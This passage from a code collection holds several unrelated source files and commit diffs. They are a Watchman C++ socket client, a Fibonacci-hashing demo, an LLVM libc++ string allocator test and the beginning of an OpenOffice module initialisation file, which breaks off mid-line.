<folly\/SocketAddress.h>\n#include <folly\/Subprocess.h>\n#include <folly\/executors\/InlineExecutor.h>\n#include <folly\/experimental\/bser\/Bser.h>\n\nnamespace watchman {\n\nusing namespace folly::bser;\nusing namespace folly;\n\n\/\/ Ordered with the most likely kind first\nstatic const std::vector<dynamic> kUnilateralLabels{\"subscription\", \"log\"};\n\nstatic const dynamic kError(\"error\");\nstatic const dynamic kCapabilities(\"capabilities\");\n\n\/\/ We'll just dispatch bser decodes and callbacks inline unless they\n\/\/ give us an alternative environment\nstatic InlineExecutor inlineExecutor;\n\nWatchmanConnection::WatchmanConnection(\n EventBase* eventBase,\n Optional<std::string>&& sockPath,\n Optional<WatchmanConnection::Callback>&& callback,\n Executor* cpuExecutor)\n : eventBase_(eventBase),\n sockPath_(std::move(sockPath)),\n callback_(std::move(callback)),\n cpuExecutor_(cpuExecutor ? cpuExecutor : &inlineExecutor),\n versionCmd_(nullptr),\n bufQ_(IOBufQueue::cacheChainLength()) {\n CHECK_NOTNULL(eventBase);\n}\n\nWatchmanConnection::~WatchmanConnection() {\n close();\n}\n\nfolly::Future<std::string> WatchmanConnection::getSockPath() {\n \/\/ Take explicit configuration first\n if (sockPath_.hasValue()) {\n return makeFuture(sockPath_.value());\n }\n\n \/\/ Else use the environmental variable used by watchman to report\n \/\/ the active socket path\n auto var = getenv(\"WATCHMAN_SOCK\");\n if (var && *var) {\n return makeFuture(std::string(var));\n }\n\n return via(cpuExecutor_, [] {\n \/\/ Else discover it from the CLI\n folly::Subprocess proc(\n {\"watchman\", \"--output-encoding=bser\", \"get-sockname\"},\n folly::Subprocess::Options().pipeStdout().pipeStderr().usePath());\n SCOPE_FAIL {\n \/\/ Always clean up to avoid Subprocess asserting on destruction\n proc.kill();\n proc.wait();\n };\n auto out_pair = proc.communicate();\n auto result = parseBser(out_pair.first);\n proc.waitChecked();\n return result[\"sockname\"].asString();\n });\n}\n\nFuture<dynamic> WatchmanConnection::connect(folly::dynamic versionArgs) {\n if (!versionArgs.isObject()) {\n throw WatchmanError(\"versionArgs must be object\");\n }\n versionCmd_ = folly::dynamic::array(\"version\", versionArgs);\n\n auto res = getSockPath().then(\n [shared_this=shared_from_this()] (std::string&& path) {\n shared_this->eventBase_->runInEventBaseThread([=] {\n folly::SocketAddress addr;\n addr.setFromPath(path);\n\n shared_this->sock_ =\n folly::AsyncSocket::newSocket(shared_this->eventBase_);\n shared_this->sock_->connect(shared_this.get(), addr);\n }\n );\n\n return shared_this->connectPromise_.getFuture();\n });\n return res;\n}\n\nvoid WatchmanConnection::close() {\n if (closing_) {\n return;\n }\n closing_ = true;\n if (sock_) {\n eventBase_->runImmediatelyOrRunInEventBaseThreadAndWait([this] {\n sock_->close();\n sock_.reset();\n });\n }\n failQueuedCommands(\n make_exception_wrapper<WatchmanError>(\n \"WatchmanConnection::close() was called\"));\n}\n\n\/\/ The convention for Watchman responses is that they represent\n\/\/ an error if they contain the \"error\" key. We want to report\n\/\/ those as exceptions, but it is easier to do that via a Try\nTry<dynamic> WatchmanConnection::watchmanResponseToTry(dynamic&& value) {\n auto error = value.get_ptr(kError);\n if (error) {\n return Try<dynamic>(make_exception_wrapper<WatchmanResponseError>(value));\n }\n return Try<dynamic>(std::move(value));\n}\n\nvoid WatchmanConnection::connectSuccess() noexcept {\n try {\n sock_->setReadCB(this);\n sock_->setCloseOnExec();\n\n run(versionCmd_).then(\n [shared_this=shared_from_this()] (dynamic&& result) {\n \/\/ If there is no \"capabilities\" key then the version of\n \/\/ watchman is too old; treat this as an error\n if (!result.get_ptr(kCapabilities)) {\n result[\"error\"] =\n \"This watchman server has no support for capabilities, \"\n \"please upgrade to the current stable version of watchman\";\n shared_this->connectPromise_.setTry(\n shared_this->watchmanResponseToTry(std::move(result)));\n return;\n }\n shared_this->connectPromise_.setValue(std::move(result));\n }\n ).onError(\n [shared_this=shared_from_this()]\n (const folly::exception_wrapper& e) {\n shared_this->connectPromise_.setException(e);\n }\n );\n } catch(const std::exception& e) {\n connectPromise_.setException(\n folly::exception_wrapper(std::current_exception(), e));\n } catch(...) {\n connectPromise_.setException(\n folly::exception_wrapper(std::current_exception()));\n }\n}\n\nvoid WatchmanConnection::connectErr(\n const folly::AsyncSocketException& ex) noexcept {\n connectPromise_.setException(ex);\n}\n\nWatchmanConnection::QueuedCommand::QueuedCommand(const dynamic& command)\n : cmd(command) {}\n\nFuture<dynamic> WatchmanConnection::run(const dynamic& command) noexcept {\n auto cmd = std::make_shared<QueuedCommand>(command);\n if (broken_) {\n cmd->promise.setException(WatchmanError(\"The connection was broken\"));\n return cmd->promise.getFuture();\n }\n if (!sock_) {\n cmd->promise.setException(WatchmanError(\n \"No socket (did you call connect() and check result for exceptions?)\"));\n return cmd->promise.getFuture();\n }\n\n bool shouldWrite;\n {\n std::lock_guard<std::mutex> g(mutex_);\n \/\/ We only need to call sendCommand if we don't have a command in\n \/\/ progress; the completion handler will trigger it once we receive\n \/\/ the response\n shouldWrite = commandQ_.empty();\n commandQ_.push_back(cmd);\n }\n\n if (shouldWrite) {\n eventBase_->runInEventBaseThread(\n [shared_this=shared_from_this()] {\n shared_this->sendCommand();\n }\n );\n }\n\n return cmd->promise.getFuture();\n}\n\n\/\/ Generate a failure for all queued commands\nvoid WatchmanConnection::failQueuedCommands(\n const folly::exception_wrapper& ex) {\n std::lock_guard<std::mutex> g(mutex_);\n auto q = commandQ_;\n commandQ_.clear();\n\n broken_ = true;\n for (auto& cmd : q) {\n if (!cmd->promise.isFulfilled()) {\n cmd->promise.setException(ex);\n }\n }\n\n \/\/ If the user has explicitly closed the connection no need for callback\n if (callback_ && !closing_) {\n cpuExecutor_->add([shared_this=shared_from_this(), ex] {\n (*(shared_this->callback_))(folly::Try<folly::dynamic>(ex));\n });\n }\n}\n\n\/\/ Sends the next eligible command to the Watchman service\nvoid WatchmanConnection::sendCommand(bool pop) {\n std::shared_ptr<QueuedCommand> cmd;\n\n {\n std::lock_guard<std::mutex> g(mutex_);\n\n if (pop) {\n \/\/ We finished processing this one, discard it and focus\n \/\/ on the next item, if any.\n commandQ_.pop_front();\n }\n if (commandQ_.empty()) {\n return;\n }\n cmd = commandQ_.front();\n }\n\n sock_->writeChain(this, toBserIOBuf(cmd->cmd, serialization_opts()));\n}\n\nvoid WatchmanConnection::popAndSendCommand() {\n sendCommand(\/* pop = *\/ true);\n}\n\n\/\/ Called when AsyncSocket::writeChain completes\nvoid WatchmanConnection::writeSuccess() noexcept {\n \/\/ Don't care particularly\n}\n\n\/\/ Called when AsyncSocket::writeChain fails\nvoid WatchmanConnection::writeErr(\n size_t,\n const folly::AsyncSocketException& ex) noexcept {\n failQueuedCommands(ex);\n}\n\n\/\/ Called when AsyncSocket wants to give us data\nvoid WatchmanConnection::getReadBuffer(void** bufReturn, size_t* lenReturn) {\n std::lock_guard<std::mutex> g(mutex_);\n const auto ret = bufQ_.preallocate(2048, 2048);\n *bufReturn = ret.first;\n *lenReturn = ret.second;\n}\n\n\/\/ Called when AsyncSocket gave us data\nvoid WatchmanConnection::readDataAvailable(size_t len) noexcept {\n {\n std::lock_guard<std::mutex> g(mutex_);\n bufQ_.postallocate(len);\n }\n cpuExecutor_->add([shared_this=shared_from_this()] {\n shared_this->decodeNextResponse();\n });\n}\n\nstd::unique_ptr<folly::IOBuf> WatchmanConnection::splitNextPdu() {\n std::lock_guard<std::mutex> g(mutex_);\n if (!bufQ_.front()) {\n return nullptr;\n }\n\n \/\/ Do we have enough data to decode the next item?\n size_t pdu_len = 0;\n try {\n pdu_len = decodePduLength(bufQ_.front());\n } catch (const std::out_of_range&) {\n \/\/ Don't have enough data yet\n return nullptr;\n }\n\n if (pdu_len > bufQ_.chainLength()) {\n \/\/ Don't have enough data yet\n return nullptr;\n }\n\n \/\/ Remove the PDU blob from the front of the chain\n return bufQ_.split(pdu_len);\n}\n\n\/\/ Try to peel off one or more PDU's from our buffer queue.\n\/\/ Decode each complete PDU from BSER -> dynamic and dispatch\n\/\/ either the associated QueuedCommand or to the callback_ for\n\/\/ unilateral responses.\n\/\/ This is executed via the cpuExecutor. We only allow one\n\/\/ thread to carry out the decoding at a time so that the callbacks\n\/\/ are triggered in the order that they are received. It is possible\n\/\/ for us to receive a large PDU followed by a small one and for the\n\/\/ small one to finish decoding before the large one, so we must\n\/\/ serialize the dispatching.\nvoid WatchmanConnection::decodeNextResponse() {\n {\n std::lock_guard<std::mutex> g(mutex_);\n if (decoding_) {\n return;\n }\n decoding_ = true;\n }\n\n SCOPE_EXIT {\n std::lock_guard<std::mutex> g(mutex_);\n decoding_ = false;\n };\n\n while (true) {\n auto pdu = splitNextPdu();\n if (!pdu) {\n return;\n }\n\n try {\n auto decoded = parseBser(pdu.get());\n\n bool is_unilateral = false;\n \/\/ Check for a unilateral response\n for (const auto& k : kUnilateralLabels) {\n if (decoded.get_ptr(k)) {\n \/\/ This is a unilateral response\n if (callback_.hasValue()) {\n callback_.value()(watchmanResponseToTry(std::move(decoded)));\n is_unilateral = true;\n break;\n }\n \/\/ No callback; usage error :-\/\n failQueuedCommands(\n std::runtime_error(\"No unilateral callback has been installed\"));\n return;\n }\n }\n if (is_unilateral) {\n continue;\n }\n\n \/\/ It's actually a command response; get the cmd so that we\n \/\/ can fulfil its promise\n std::shared_ptr<QueuedCommand> cmd;\n {\n std::lock_guard<std::mutex> g(mutex_);\n if (commandQ_.empty()) {\n failQueuedCommands(\n std::runtime_error(\"No commands have been queued\"));\n return;\n }\n cmd = commandQ_.front();\n }\n\n \/\/ Dispatch outside of the lock in case it tries to send another\n \/\/ command\n cmd->promise.setTry(watchmanResponseToTry(std::move(decoded)));\n\n \/\/ Now we're in a position to send the next queued command.\n \/\/ We remove it after dispatching the try above in case that\n \/\/ queued up more commands; we want to be the one thing that\n \/\/ is responsible for sending the next queued command here\n popAndSendCommand();\n } catch (const std::exception& ex) {\n failQueuedCommands(ex);\n return;\n }\n }\n}\n\n\/\/ Called when AsyncSocket hits EOF\nvoid WatchmanConnection::readEOF() noexcept {\n failQueuedCommands(\n std::system_error(ENOTCONN, std::system_category(), \"connection closed\"));\n}\n\n\/\/ Called when AsyncSocket has a read error\nvoid WatchmanConnection::readErr(\n const folly::AsyncSocketException& ex) noexcept {\n failQueuedCommands(ex);\n}\n} \/\/ namespace watchman\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Multiplicative hashing\n * ======================\n *\n * Based on the golden ratio, so A.K.A. Fibonacci hashing. Simple, fast, but\n * frequent to collide.\n *\/\n\n#include <iostream>\n\nuint32_t\nmulhash32(uint32_t h, int shift)\n{\n\treturn (h * 2654435769u) >> shift;\n}\n\nuint64_t\nmulhash64(uint64_t h, int shift)\n{\n\treturn (h * 11400714819323198485llu) >> shift;\n}\n\nint\nmain()\n{\n\tint shift = 64 - 3;\n\n\t\/\/ Naively check the distribution.\n\tstd::cout << mulhash32(0, shift) << std::endl;\n\tstd::cout << mulhash32(1, shift) << std::endl;\n\tstd::cout << mulhash32(2, shift) << std::endl;\n\tstd::cout << mulhash32(3, shift) << std::endl;\n\tstd::cout << mulhash32(4, shift) << std::endl;\n\tstd::cout << mulhash32(5, shift) << std::endl;\n\tstd::cout << mulhash32(6, shift) << std::endl;\n\tstd::cout << mulhash32(7, shift) << std::endl;\n\tstd::cout << \"---\" << std::endl;\n\tstd::cout << mulhash64(0, shift) << std::endl;\n\tstd::cout << mulhash64(1, shift) << std::endl;\n\tstd::cout << mulhash64(2, shift) << std::endl;\n\tstd::cout << mulhash64(3, shift) << std::endl;\n\tstd::cout << mulhash64(4, shift) << std::endl;\n\tstd::cout << mulhash64(5, shift) << std::endl;\n\tstd::cout << mulhash64(6, shift) << std::endl;\n\tstd::cout << mulhash64(7, shift) << std::endl;\n\n\treturn 0;\n}\n<commit_msg>updated mulhash: test cases<commit_after>\/**\n * Multiplicative hashing\n * ======================\n *\n * Based on the golden ratio, hence A.K.A. Fibonacci hashing. Simple, fast,\n * but not well evenly-distributed.\n *\/\n\n#include <iostream>\n#include <array>\n\nuint32_t\nmulhash32(uint32_t h, int shift)\n{\n\treturn (h * 2654435769u) >> shift;\n}\n\nuint64_t\nmulhash64(uint64_t h, int shift)\n{\n\treturn (h * 11400714819323198485llu) >> shift;\n}\n\n#define LEN 8\n#define N 64\n\ntemplate <typename T>\nvoid\ndebug(std::array<T, LEN> arr)\n{\n\tif constexpr (std::is_same_v<T, uint32_t>) {\n\t\tstd::cout << \"mulhash32=\";\n\t} else {\n\t\tstd::cout << \"mulhash64=\";\n\t}\n\n\tstd::cout << \"[\";\n\tfor (const auto& a : arr) {\n\t\tstd::cout << a << \",\";\n\t}\n\tstd::cout << \"\\b]\" << std::endl;\n}\n\nint\nmain()\n{\n\tint shift = 64 - 3;\n\tstd::array<uint32_t, LEN> arr32{};\n\tstd::array<uint64_t, LEN> arr64{};\n\n\t\/\/ Naively check the distribution.\n\n\tfor (int i = 0; i < N; ++i) ++arr32[mulhash32(i, shift)];\n\tdebug(arr32);\n\tfor (int i = 0; i < N; ++i) ++arr64[mulhash64(i, shift)];\n\tdebug(arr64);\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <string>\n\n\/\/ basic_string(const basic_string& str, const Allocator& alloc);\n\n#include <string>\n#include <cassert>\n\n#include \"test_macros.h\"\n#include \"test_allocator.h\"\n#include \"min_allocator.h\"\n\ntemplate <class T>\nstruct alloc_imp {\n bool active;\n\n alloc_imp() : active(true) {}\n\n T* allocate(std::size_t n)\n {\n if (active)\n return static_cast<T*>(std::malloc(n * sizeof(T)));\n else\n throw std::bad_alloc();\n }\n\n void deallocate(T* p, std::size_t) { std::free(p); }\n void activate () { active = true; }\n void deactivate() { active = false; }\n};\n\ntemplate <class T>\nstruct poca_alloc {\n typedef T value_type;\n typedef std::true_type propagate_on_container_copy_assignment;\n\n alloc_imp<T> *imp;\n\n poca_alloc(alloc_imp<T> *ximp) : imp (ximp) {}\n\n template <class U>\n poca_alloc(const poca_alloc<U>& other) : imp(other.imp) {}\n\n T* allocate (std::size_t n) { return imp->allocate(n);}\n void deallocate(T* p, std::size_t n) { imp->deallocate(p, n); }\n};\n\ntemplate <typename T, typename U>\nbool operator==(const poca_alloc<T>& lhs, const poca_alloc<U>& rhs)\n{\n return lhs.imp == rhs.imp;\n}\n\ntemplate <typename T, typename U>\nbool operator!=(const poca_alloc<T>& lhs, const poca_alloc<U>& rhs)\n{\n return lhs.imp != rhs.imp;\n}\n\n\n\ntemplate <class S>\nvoid\ntest(S s1, const typename S::allocator_type& a)\n{\n S s2(s1, a);\n LIBCPP_ASSERT(s2.__invariants());\n assert(s2 == s1);\n assert(s2.capacity() >= s2.size());\n assert(s2.get_allocator() == a);\n}\n\n#ifndef TEST_HAS_NO_EXCEPTIONS\ntemplate <class S>\nvoid test_assign(S &s1, const S& s2)\n{\n\ttry { s1 = s2; }\n\tcatch ( std::bad_alloc &) { return; }\n\tassert(false);\n}\n#endif\n\nint main()\n{\n {\n typedef test_allocator<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n test(S(), A(3));\n test(S(\"1\"), A(5));\n test(S(\"1234567890123456789012345678901234567890123456789012345678901234567890\"), A(7));\n }\n#if TEST_STD_VER >= 11\n {\n typedef min_allocator<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n test(S(), A());\n test(S(\"1\"), A());\n test(S(\"1234567890123456789012345678901234567890123456789012345678901234567890\"), A());\n }\n\n#ifndef TEST_HAS_NO_EXCEPTIONS\n {\n typedef poca_alloc<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n\tconst char * p1 = \"This is my first string\";\n\tconst char * p2 = \"This is my second string\";\n\t\n alloc_imp<char> imp1;\n alloc_imp<char> imp2;\n\tS s1(p1, A(&imp1));\n\tS s2(p2, A(&imp2));\n\t\n\tassert(s1 == p1);\n\tassert(s2 == p2);\n\t\n\timp2.deactivate();\n\ttest_assign(s1, s2);\n\tassert(s1 == p1);\n\tassert(s2 == p2);\n }\n#endif\n#endif\n}\n<commit_msg>Fix up some no-exception compile failures<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <string>\n\n\/\/ basic_string(const basic_string& str, const Allocator& alloc);\n\n#include <string>\n#include <cassert>\n\n#include \"test_macros.h\"\n#include \"test_allocator.h\"\n#include \"min_allocator.h\"\n\n#ifndef TEST_HAS_NO_EXCEPTIONS\ntemplate <class T>\nstruct alloc_imp {\n bool active;\n\n alloc_imp() : active(true) {}\n\n T* allocate(std::size_t n)\n {\n if (active)\n return static_cast<T*>(std::malloc(n * sizeof(T)));\n else\n throw std::bad_alloc();\n }\n\n void deallocate(T* p, std::size_t) { std::free(p); }\n void activate () { active = true; }\n void deactivate() { active = false; }\n};\n\ntemplate <class T>\nstruct poca_alloc {\n typedef T value_type;\n typedef std::true_type propagate_on_container_copy_assignment;\n\n alloc_imp<T> *imp;\n\n poca_alloc(alloc_imp<T> *imp_) : imp (imp_) {}\n\n template <class U>\n poca_alloc(const poca_alloc<U>& other) : imp(other.imp) {}\n\n T* allocate (std::size_t n) { return imp->allocate(n);}\n void deallocate(T* p, std::size_t n) { imp->deallocate(p, n); }\n};\n\ntemplate <typename T, typename U>\nbool operator==(const poca_alloc<T>& lhs, const poca_alloc<U>& rhs)\n{\n return lhs.imp == rhs.imp;\n}\n\ntemplate <typename T, typename U>\nbool operator!=(const poca_alloc<T>& lhs, const poca_alloc<U>& rhs)\n{\n return lhs.imp != rhs.imp;\n}\n\ntemplate <class S>\nvoid test_assign(S &s1, const S& s2)\n{\n\ttry { s1 = s2; }\n\tcatch ( std::bad_alloc &) { return; }\n\tassert(false);\n}\n#endif\n\n\n\ntemplate <class S>\nvoid\ntest(S s1, const typename S::allocator_type& a)\n{\n S s2(s1, a);\n LIBCPP_ASSERT(s2.__invariants());\n assert(s2 == s1);\n assert(s2.capacity() >= s2.size());\n assert(s2.get_allocator() == a);\n}\n\nint main()\n{\n {\n typedef test_allocator<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n test(S(), A(3));\n test(S(\"1\"), A(5));\n test(S(\"1234567890123456789012345678901234567890123456789012345678901234567890\"), A(7));\n }\n#if TEST_STD_VER >= 11\n {\n typedef min_allocator<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n test(S(), A());\n test(S(\"1\"), A());\n test(S(\"1234567890123456789012345678901234567890123456789012345678901234567890\"), A());\n }\n\n#ifndef TEST_HAS_NO_EXCEPTIONS\n {\n typedef poca_alloc<char> A;\n typedef std::basic_string<char, std::char_traits<char>, A> S;\n\tconst char * p1 = \"This is my first string\";\n\tconst char * p2 = \"This is my second string\";\n\t\n alloc_imp<char> imp1;\n alloc_imp<char> imp2;\n\tS s1(p1, A(&imp1));\n\tS s2(p2, A(&imp2));\n\t\n\tassert(s1 == p1);\n\tassert(s2 == p2);\n\t\n\timp2.deactivate();\n\ttest_assign(s1, s2);\n\tassert(s1 == p1);\n\tassert(s2 == p2);\n }\n#endif\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: sddll.cxx,v $\n *\n * $Revision: 1.13 $\n *\n * last change: $Author: rt $ $Date: 2006-05-02 15:03:04 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EEITEM_HXX \/\/autogen\n#include <svx\/eeitem.hxx>\n#endif\n\n#include <svx\/editeng.hxx>\n\n#ifndef _SVDOBJ_HXX \/\/autogen\n#include <svx\/svdobj.hxx>\n#endif\n#ifndef INCLUDED_SVTOOLS_MODULEOPTIONS_HXX\n#include <svtools\/moduleoptions.hxx>\n#endif\n#ifndef _FM_FMOBJFAC_HXX\n#include <svx\/fmobjfac.hxx>\n#endif\n#ifndef _SVX_SIIMPORT_HXX\n#include <svx\/siimport.hxx>\n#endif\n#ifndef _SVDFIELD_HXX\n#include <svx\/svdfield.hxx>\n#endif\n#ifndef _OBJFAC3D_HXX\n#include <svx\/objfac3d.hxx>\n#endif\n\n#pragma hdrstop\n\n#include \"sddll.hxx\"\n#ifndef SD_DRAW_DOC_SHELL_HXX\n#include \"DrawDocShell.hxx\"\n#endif\n#ifndef SD_GRAPHIC_DOC_SHELL_HXX\n#include \"GraphicDocShell.hxx\"\n#endif\n#include \"sdresid.hxx\"\n#include \"sdobjfac.hxx\"\n#include \"cfgids.hxx\"\n#include \"strmname.h\"\n#include \"SdShapeTypes.hxx\"\n\n#include <svx\/SvxShapeTypes.hxx>\n#include <sfx2\/docfilt.hxx>\n#include <sfx2\/docfile.hxx>\n#include <sfx2\/fcontnr.hxx>\n#include <tools\/urlobj.hxx>\n#include <svx\/impgrf.hxx>\n#include <svtools\/FilterConfigItem.hxx>\n\n#ifndef _COM_SUN_STAR_UTIL_XARCHIVER_HPP_\n#include <com\/sun\/star\/util\/XArchiver.hpp>\n#endif\n\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n\nusing namespace ::rtl;\nusing namespace ::com::sun::star;\n\n\n\/*************************************************************************\n|*\n|* Init\n|*\n\\************************************************************************\/\n\nvoid SdDLL::Init()\n{\n if ( SD_MOD() )\n return;\n\n SfxObjectFactory* pDrawFact = NULL;\n SfxObjectFactory* pImpressFact = NULL;\n\n if (SvtModuleOptions().IsImpress())\n pImpressFact = &::sd::DrawDocShell::Factory();\n\n if (SvtModuleOptions().IsDraw())\n pDrawFact = &::sd::GraphicDocShell::Factory();\n\n \/\/ the SdModule must be created\n SdModule** ppShlPtr = (SdModule**) GetAppData(SHL_DRAW);\n\n \/\/ #i46427#\n \/\/ The SfxModule::SfxModule stops when the first given factory\n \/\/ is 0, so we must not give a 0 as first factory\n if( pImpressFact )\n {\n (*ppShlPtr) = new SdModule( pImpressFact, pDrawFact );\n }\n else\n {\n (*ppShlPtr) = new SdModule( pDrawFact, pImpressFact );\n }\n\n if (SvtModuleOptions().IsImpress())\n {\n \/\/ Register the Impress shape types in order to make the shapes accessible.\n ::accessibility::RegisterImpressShapeTypes ();\n ::sd::DrawDocShell::Factory().SetDocumentServiceName( String( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.presentation.PresentationDocument\" ) ) );\n }\n\n if (SvtModuleOptions().IsDraw())\n {\n ::sd::GraphicDocShell::Factory().SetDocumentServiceName( String( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.drawing.DrawingDocument\" ) ) );\n }\n\n \/\/ register your view-factories here\n RegisterFactorys();\n\n \/\/ register your shell-interfaces here\n RegisterInterfaces();\n\n \/\/ register your controllers here\n RegisterControllers();\n\n \/\/ SvDraw-Felder registrieren\n SdrRegisterFieldClasses();\n\n \/\/ 3D-Objekt-Factory eintragen\n E3dObjFactory();\n\n \/\/ ::com::sun::star::form::component::Form-Objekt-Factory eintragen\n FmFormObjFactory();\n\n \/\/ factory for dummy import of old si-controls in 3.1 documents\n\/\/BFS02 SiImportFactory();\n\n \/\/ Objekt-Factory eintragen\n SdrObjFactory::InsertMakeUserDataHdl(LINK(&aSdObjectFactory, SdObjectFactory, MakeUserData));\n}\n\n\n\n\/*************************************************************************\n|*\n|* Exit\n|*\n\\************************************************************************\/\n\nvoid SdDLL::Exit()\n{\n \/\/ called directly befor unloading the DLL\n \/\/ do whatever you want, Sd-DLL is accessible\n\n \/\/ Objekt-Factory austragen\n SdrObjFactory::RemoveMakeUserDataHdl(LINK(&aSdObjectFactory, SdObjectFactory, MakeUserData));\n\n \/\/ the SdModule must be destroyed\n SdModule** ppShlPtr = (SdModule**) GetAppData(SHL_DRAW);\n delete (*ppShlPtr);\n (*ppShlPtr) = NULL;\n}\n\n\/*\nULONG SdDLL::DetectFilter(SfxMedium& rMedium, const SfxFilter** ppFilter,\n SfxFilterFlags nMust, SfxFilterFlags nDont)\n{\n ULONG nReturn = ERRCODE_ABORT; \/\/ Erkennung fehlgeschlagen, Filter ungueltig\n BOOL bStorage = FALSE;\n\n if( *ppFilter && (*ppFilter)->GetFilterFlags() & SFX_FILTER_PACKED )\n {\n uno::Reference< lang::XMultiServiceFactory > xSMgr( ::comphelper::getProcessServiceFactory() );\n uno::Reference< util::XArchiver > xPacker( xSMgr->createInstance( OUString::createFromAscii( \"com.sun.star.util.Archiver\" ) ), uno::UNO_QUERY );\n if( xPacker.is() )\n {\n \/\/ extract extra data\n OUString aPath( rMedium.GetOrigURL() );\n OUString aExtraData( xPacker->getExtraData( aPath ) );\n const OUString aSig1= OUString::createFromAscii( \"private:\" );\n String aTmp;\n aTmp += sal_Unicode( '?' );\n aTmp += String::CreateFromAscii(\"simpress\");\n const OUString aSig2( aTmp );\n INT32 nIndex1 = aExtraData.indexOf( aSig1 );\n INT32 nIndex2 = aExtraData.indexOf( aSig2 );\n if( nIndex1 == 0 && nIndex2 != -1 )\n return ERRCODE_NONE;\n }\n }\n else if (rMedium.GetError() == SVSTREAM_OK)\n {\n if ( rMedium.IsStorage() )\n {\n bStorage = TRUE;\n SotStorageRef xStorage = rMedium.GetStorage();\n if ( !xStorage.Is() )\n return ULONG_MAX;\n\n if( SvtModuleOptions().IsImpress() )\n {\n \/\/ Erkennung ueber contained streams (PowerPoint 97-Filter)\n String aStreamName = UniString::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"PowerPoint Document\" ) );\n if ( xStorage->IsContained( aStreamName ) && xStorage->IsStream( aStreamName ) )\n {\n String aFileName(rMedium.GetName());\n aFileName.ToUpperAscii();\n\n if( aFileName.SearchAscii( \".POT\" ) == STRING_NOTFOUND )\n *ppFilter = SfxFilter::GetFilterByName( pFilterPowerPoint97);\n else\n *ppFilter = SfxFilter::GetFilterByName( pFilterPowerPoint97Template );\n\n return ERRCODE_NONE;\n }\n }\n\n const SfxFilter* pFilter = *ppFilter;\n if ( *ppFilter )\n {\n if ( (*ppFilter)->GetFormat() == xStorage->GetFormat() )\n pFilter = *ppFilter;\n }\n\n if( !pFilter && SvtModuleOptions().IsImpress() )\n {\n SfxFilterMatcher aMatcher( String::CreateFromAscii(\"simpress\") );\n pFilter = aMatcher.GetFilter4ClipBoardId( xStorage->GetFormat() );\n if ( pFilter )\n *ppFilter = pFilter;\n }\n\n if( !pFilter && SvtModuleOptions().IsDraw() )\n {\n SfxFilterMatcher aMatcher( String::CreateFromAscii(\"sdraw\") );\n pFilter = aMatcher.GetFilter4ClipBoardId( xStorage->GetFormat() );\n if ( pFilter )\n *ppFilter = pFilter;\n }\n\n if ( pFilter &&\n ( pFilter->GetFilterFlags() & nMust ) == nMust &&\n ( pFilter->GetFilterFlags() & nDont ) == 0 )\n {\n *ppFilter = pFilter;\n nReturn = ERRCODE_NONE;\n }\n else\n {\n *ppFilter = NULL;\n nReturn = ERRCODE_NONE;\n }\n }\n\n String aFileName( rMedium.GetName() );\n aFileName.ToUpperAscii();\n\n if ( nReturn == ERRCODE_ABORT )\n {\n if( bStorage ) \/\/ aber keine Clipboard-Id #55337#\n {\n *ppFilter = NULL;\n }\n else\n {\n \/\/ Vektorgraphik?\n SvStream* pStm = rMedium.GetInStream();\n\n if( !pStm )\n nReturn = ERRCODE_IO_GENERAL;\n else\n {\n pStm->Seek( STREAM_SEEK_TO_BEGIN );\n\n const String aFileName( rMedium.GetURLObject().GetMainURL( INetURLObject::NO_DECODE ) );\n GraphicDescriptor aDesc( *pStm, &aFileName );\n GraphicFilter* pGrfFilter = GetGrfFilter();\n\n if( !aDesc.Detect( FALSE ) )\n {\n if( SvtModuleOptions().IsImpress() )\n {\n *ppFilter = NULL;\n nReturn = ERRCODE_ABORT;\n INetURLObject aURL( aFileName );\n if( aURL.getExtension().equalsIgnoreAsciiCaseAscii( \"cgm\" ) )\n {\n sal_uInt8 n8;\n pStm->Seek( STREAM_SEEK_TO_BEGIN );\n *pStm >> n8;\n if ( ( n8 & 0xf0 ) == 0 ) \/\/ we are supporting binary cgm format only, so\n { \/\/ this is a small test to exclude cgm text\n const String aName = UniString::CreateFromAscii( RTL_CONSTASCII_STRINGPARAM( \"CGM - Computer Graphics Metafile\" ) );\n SfxFilterMatcher aMatch( String::CreateFromAscii(\"simpress\") );\n *ppFilter = aMatch.GetFilter4FilterName( aName );\n nReturn = ERRCODE_NONE;\n }\n }\n }\n }\n else\n {\n if( SvtModuleOptions().IsDraw() )\n {\n String aShortName( aDesc.GetImportFormatShortName( aDesc.GetFileFormat() ) );\n const String 